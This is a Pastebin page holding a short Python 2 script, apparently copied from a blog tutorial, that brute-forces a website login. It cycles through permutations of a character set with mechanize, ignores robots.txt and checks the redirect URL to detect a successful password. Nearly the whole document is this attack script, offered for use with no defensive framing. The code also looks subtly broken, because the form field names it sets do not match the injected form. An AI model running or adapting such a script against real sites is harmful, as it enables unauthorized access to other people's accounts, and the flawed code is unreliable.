Advertisement
Guest User

python

a guest
Mar 27th, 2016
102
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.13 KB | None | 0 0
  1. https://coderinaero.wordpress.com/2014/12/08/brute-force-a-website-login-in-python/
  2. #!/usr/bin/python
  3. import mechanize
  4. import itertools
  5.  
  6. br = mechanize.Browser()
  7. br.set_handle_equiv(True)
  8. br.set_handle_redirect(True)
  9. br.set_handle_referer(True)
  10. br.set_handle_robots(False)
  11.  
  12. combos=itertools.permutations("i34U^hP-",8)
  13. r =br.open("https://www.example.com/login/")
  14. for x in combos:
  15. new_form = '''
  16. <form method="post" action="index.php">
  17. <b>Enter the username :</b><input type="text" name="rollno" size="16" maxlength="8">
  18. <b>Enter the password:</b><input type="password" name="pwd" size="16">
  19. <input type="submit" name="submit" value="Submit">
  20. </form>
  21. '''
  22. #all you have to take care is they have the same name for input fields and submit button
  23. r.set_data(new_form)
  24. br.set_response(r)
  25. br.select_form( nr = 0 )
  26. br.form['userName'] = "user name"
  27. br.form['password'] = ''.join(x)
  28. print "Checking ",br.form['password']
  29. response=br.submit()
  30. if response.geturl()=="http://www.example.com/redirected_to_url":
  31. #url to which the page is redirected after login
  32. print "Correct password is ",''.join(x)
  33. break
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement